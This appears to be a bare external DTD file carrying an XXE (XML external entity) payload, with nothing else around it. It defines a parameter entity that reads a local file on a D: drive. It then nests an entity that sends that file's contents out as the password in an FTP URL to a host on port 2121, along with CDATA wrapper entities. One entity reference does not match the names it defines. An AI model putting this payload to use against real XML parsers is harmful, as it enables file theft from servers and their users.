<!ENTITY % bbb SYSTEM "file:///D:/CodingTool/workspace/demo/123.txt">
<!ENTITY % ccc "<!ENTITY % fileContents SYSTEM 'ftp://fakeuser:%bbb;@192.168.1.6:2121/b'>">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">